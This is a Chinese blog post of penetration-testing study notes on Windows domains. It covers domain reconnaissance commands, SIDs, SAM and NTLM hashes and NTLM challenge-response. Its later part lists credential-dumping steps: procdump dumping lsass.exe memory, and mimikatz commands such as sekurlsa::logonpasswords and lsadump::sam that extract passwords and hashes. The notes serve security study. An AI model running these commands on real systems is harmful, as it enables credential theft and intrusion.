域渗透(1)

域基础信息搜集

ping 域名
	
ipconfig /all  判断当前是否在域环境中,看dns后缀和dns服务器
	
net view  查看本工作组/域环境中的设备
		关闭防火墙
		开启服务
	
net view  /domain     查询域数量
	
net view | net view /domain:域名   查询主机数量
	
net group /domain  域控组别信息 
	
net group  "domain admins" /domain  查看域控管理员组的成员
		域内高权限组
			Domain Admins	域控管理员组(高权限)
			Domain Computers 加入域内的主机成员
			Domain Controllers 域控(高权限)
			Domain Users	域内普通用户
			Enterprise Admins	企业管理员(高权限)
	
net time /domain   查看系统时间
	
systeminfo | findstr  “KB”   查看补丁信息
	
SID
	sid: whoami /user   查看SID
		500:administrator
		​	501:guest
		​	1000+:普通用户
#SID也就是安全标识符(Security Identifiers),是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。Windows 2000 中的内部进程将引用帐户的 SID 而不是帐户的用户或组名。如果创建帐户,再删除帐户,然后使用相同的用户名创建另一个帐户,则新帐户将不具有授权给前一个帐户的权力或权限,原因是该帐户具有不同的 SID 号。安全标识符也被称为安全 ID 或 SID。 
#S-1-5-21-15631306-761508637-3840666680-500
#s dai表sid
#1 代表当前sid版本
#5 固定的
#21 在主机中基本都是21
#在同一个域捏,中间的三个长长的部分是一样的

windows本地认证

SAM文件路径

C:\Windows\System32\config/SAM

 winlogin和lsass概念

        当我们登录系统(winlogin.exe)的时候,系统会自动读取SAM文件中的“密码”与我们输入(lsass.exe对输入的内容进行比对)的“密码”进行比对 ,如果相同,证明认证成功!!!---SAM文件不能被取走(你拷贝的时候就是会提醒你文件正在使用中)。

        windows除了输入的时候密码是明文的,其他的是时候都是以密文的形式存在。进行比对的是时候也是先将其转化成NTLM hash值,在与sam数据库进行比对认证。

        Windows Loqon Process(即winlogon.exe),是Windows NT用户登陆程序,用于管理用户登录和退出。LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。

NTLM

        NTLM Hash是支持Net NTLM认证协议及本地认证过程中的一个重要参与物,其长度为32位,由数字与字母组成。

        Windows本身不存储用户的明文密码,它会将用户的明文密码经过加密算法后存储在SAM数据库中。
        当用户登录时,将用户输入的明文密码也加密成NTLM Hash,与SAM数据库中的NTLM Hash进行比较。NTLM Hash的前身是LMHash,目前基本淘汰,但是还是存在。XP和2003。

转换实例admin=》209c6174da490caeb422f3fa5a7ae634
            admin -> hex(16进制编码)=61646d696e
            61646d696e -> Unicode => 610064006d0069006eO0
            610064006d0069006e00 ->MD4=>209c6174da490caeb422f3fa5a7ae634

 LM Hash
    在NTLM协议问世之前,它的前身就是LM(LAN Manager)协议。
    LM Hash是 AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH

windows下的HASH密码格式
    用户名称:SID:LM-HASH值:NTLM-HASH
    例:Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
    Hash一般存储在两个地方:

        ①SAM文件,存储在本机 对应本地用户

        ②NTDS.DIT文件,存储在域控上 对应域用户

windows网络认证

        工作组环境:在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构。假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送至B主机,经过认证才能够访问B主机.上的资源。(常见服务,SMB-445)

        早期SMB协议在网络上传输明文口令。后来出现LAN Manager  ChallengelResponse 验证机制,简称LM。但是容易被破解。因此微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。

NTLM

协商
        主要用于确认双方协议版本(NTLM v1/NTLM V2),windows7以上停用版本v1
质询
        就是挑战(Challenge)/响应(Response)认证机制起作用的范畴
验证
        验证主要是在质询完成后,验证结果,是认证的最后一步

        Challenge1和Response的表现形式都是Net-NTLM Hash

        NTLM Hash 全程不会发送,只参与加密(Why):保护NTLM Hash不外泄

理解:

        当自己的主机去向服务器发送一个用户名请求的时候,服务器会查看你自己的本地账户列表是否有这个用户名,有的话就生成一个16位的随机数位challenge(挑战)。然后用challenge对NTLM-hash值(加密的密码)进行加密,生成一个challenge1存在内存当中,并把challenge发给我们的主机。主机收到之后,也用challenge对NTLM-hash进行加密,生成一个Response并且发送给服务器。然后服务器就会把challenge1和Response进行比较。一样的话就是认证通过。

NTLM v1 与 NTLM v2
        Challage: NTLM v1的Challenge有8位,NTLM v2的Challenge为16位。
        Net-NTLM Hash: NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。
        NTLM v1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash。

        NTLM v1 的加密方式为DES , NTLM v2的加密方式为HMAC-MD5

Procdump

简介

        Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因. 你还可以把它作为生成dump的工具使用在其他的脚本中。

关于Procdump和mimikatz的使用思路:

       windows密码导出分为两种方式,一种是在内存中读取,还有一种是读取sam文件。Procdump用的是内存中读取的方式,导出一个后缀名为.dmp的文件,然后放到mimikatz中进行读取

下载地址

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

 操作

参数
	-ma   写一个完整的转储文件。包括所有的内存信息。
	-accepteula   自动接收内部授权协议
	-h  帮助手册

cd C:\Users\Administrator\Desktop\Procdump
#先进入到该文件夹中

procdump64.exe  -accepteula -ma lsass.exe lsass.dmp 
#把内存当中的HASH导入到本地,并命名为lsass.dmp

要以管理员的身份运行,不然会报错

Mimikatz

下载地址

https://github.com/ParrotSec/mimikatz

常用命令

mimikatz# ::    查看帮助手册
	
mimikatz# log  记录所得到的信息
	
mimikatz# hostname 查看主机名
	
privilege::debug 提升到特权
	
mimikatz#sekurlsa::msv #读取内存的HASH智
	
mimikatz# sekurlsa::minidump lsass.dmp   切换环境
	
mimikatz# sekurlsa::logonpasswords    列出所有可用的凭据
	
kerberos::list #列出票据
	
kerberos::purge #清除票据
	
lsadump::sam 查看sam文件内容获取用户名和NTLM hash
	
lsadump::secrets 获取当前用户密码
	
sekurlsa::logonpasswords 获取所有账户密码(比procdump的使用更简单)
	
sekurlsa::kerberos 获取kerberos认证信息(账户密码等),域内
	
process::start command 启动进程
	
process::stop command 结束进程
	
process::list 列出进程

读取sam文件密码

方法一:利用procdump导下来的dump文件
mimikatz# ::    查看帮助手册
	
mimikatz# log  记录所得到的信息
#Using 'mimikatz.log' for logfile : OK 表示使用成功,可以看到在文件夹中多了一个mimikatz.log文件。等下在mimikatz中的所有操作都会被记录在这个文件中
#log文件时一次性的,你下次要是还想用log进行读取就还得开启他的这个功能
	
mimikatz# sekurlsa::minidump lsass.dmp   切换环境
	
mimikatz# sekurlsa::logonpasswords    列出所有可用的凭据

方法二: 直接利用minikatz(需要管理权限)
mimikata# log  记录所得到的信息
	
mimikatz # privilege::debug   //提权
	
mimikatz # sekurlsa::msv   //提取内存的HASH值
	
mimikatz# sekurlsa::logonpasswords    列出所有可用的凭据

报错

        1.读取不了win11的密码,导出来后读取就报错,不是权限的问题。尝试过好几个新版本的也不行,两个方法都读取不了win11。

        2.读取win10的时候密码是空的,在 windows 10 / 2012r2 之后的系统版本中已禁⽤在内存缓存中存系统⽤户明⽂密码

       

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

偷吃"游"的阿彪

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值